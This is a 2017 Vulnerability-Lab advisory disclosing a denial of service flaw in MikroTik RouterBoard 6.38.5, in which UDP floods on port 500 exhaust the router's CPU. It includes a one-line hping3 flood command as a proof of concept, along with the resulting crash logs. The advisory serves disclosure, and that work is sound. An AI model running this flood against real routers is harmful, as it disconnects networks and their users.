Document Title:
===============
MikroTik RouterBoard v6.38.5 - Denial of Service Vulnerability


References (Source Document Title:
===============
MikroTik RouterBoard v6.38.5 - Denial of Service Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2064


Release Date:
=============
2017-05-09


Vulnerability Laboratory ID (VL-ID):
====================================
2064


Common Vulnerability Scoring System:
====================================
3.8


Vulnerability Class:
====================
Denial of Service


Product & Service Introduction:
===============================
The company manufactures a series of integrated circuit boards, marketed under the name RouterBOARD, as well as
accessory components which implement a complete hardware operating platform for RouterOS.

(Copy of the Homepage: https://en.wikipedia.org/wiki/MikroTik )


Abstract Advisory Information:
==============================
An independent researcher discovered a Denial of Service Vulnerability for MikroTik RouterBoard V-6.38.5.
A local attacker is able to crash the software and all bound running processes.


Vulnerability Disclosure Timeline:
==================================
2017-05-09: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A vulnerability in MikroTik Version 6.38.5 could allow an unauthenticated remote attacker to exhaust all available
CPU via a flood of UDP packets on port 500 (used for L2TP over IPsec), preventing the affected router from accepting
new connections; all devices will be disconnected from the router and all logs removed automatically.


Proof of Concept (PoC):
=======================
The denial of service vulnerability can be exploited by remote attackers without user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


hping3 --udp -p 6000 --destport 500 --flood [router's IP]


--- Log ---
apr/27/2017 04:37:47 system,error,critical kernel failure in previous boot
apr/27/2017 04:37:47 system,error,critical out of memory condition was detected
apr/27/2017 04:33:36 system,error,critical router was rebooted without proper shutdown by watchdog timer


--- Samle: CPU USAGE ---
[admin@MikroTik] > system resource monitor
cpu-used: 100%
cpu-used-per-cpu: 100%


Security Risk:
==============
The security risk of the denial of service vulnerability in the software is estimated as medium. (CVSS 3.8)


Credits & Authors:
==================
Hosein Askari (FarazPajohan) - hosein.askari@aol.com [https://www.vulnerability-lab.com/show.php?user=Hosein%20Askari]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.

Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.

Copyright A(c) 2017 | Vulnerability Laboratory - [Evolution Security GmbH]aC/




--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com